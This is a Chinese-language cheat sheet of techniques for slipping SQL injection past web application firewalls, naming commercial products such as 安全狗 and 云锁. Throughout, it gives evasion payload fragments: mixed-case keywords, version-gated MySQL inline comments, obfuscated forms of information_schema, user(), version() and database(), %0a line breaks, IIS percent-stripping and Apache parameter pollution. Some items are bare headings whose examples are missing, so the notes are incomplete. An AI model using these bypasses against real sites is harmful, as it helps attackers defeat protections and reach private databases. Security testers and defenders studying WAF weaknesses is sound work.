WAF是一个缩写,全称是web应用防护系统(Web Application Firewall)通过一系列的安全策略(核心机制是正则匹配)来对web应用提供保护。
WAF有硬件类和软件类,常见软件类waf:安全狗、云锁、悬镜、护卫神、云盾。
1.大小写绕过
对于一些比较垃圾的waf可以尝试大小写混杂绕过。
union -> UnIoN
select -> SeLeCt
2.内联注释
内联注释是mysql为了保持与其他数据兼容,讲mysql中的特有语句放在/*! xxxx*/中,
这些语句在不兼容的数据库中不执行,而在mysql中自身能识别、执行。
/*!50000*/表示数据库版本>=5.00.00的时候其中语句被执行 10000~50000,不同版本可执行的不同
也可抓包爆破得出/*! xxxxx*/
/**/数据库注释
可以在语句中混杂/*xxxx*/ 其中可以是数字、字母、字符。
3.替换添加
在语句被过滤掉时,可以尝试替换成等价的函数或者添加字符绕过(比如内联)
当order 被过滤掉时可以替换为 group
group_concat
用concat替换,因为concat每次只能出一条数据所以需要配合limit
也可以在concat前加上 ` (反引号)
union select
%0a为换行 %0d为回车
使用垃圾数据绕过
夹杂distinct
利用all
from被过滤
可以使用科学计数法绕过
使用 { }
x可为字母或数字与字母组合
information_schema.tables
`information_schema.tables` information_schema/**/.schemata
`information_schema`.tables table_name == @b:=`table_name`
user()
user() =current_user = user/**/(/**/) = user-- (1)%0a()
version()
version() = `version`() = @@version= select name_const(version(),1),name_const(version(),1))x
database()
database()=(database/*!12345()*/)=convert(database/*!44444(*/),binary)
4.容器特性
IIS 传参 s%e%l%e%c%t -> select
apache hpp ?id=1/*&id=2#*/
接收的其实为第二个传参id=2 第一个被忽略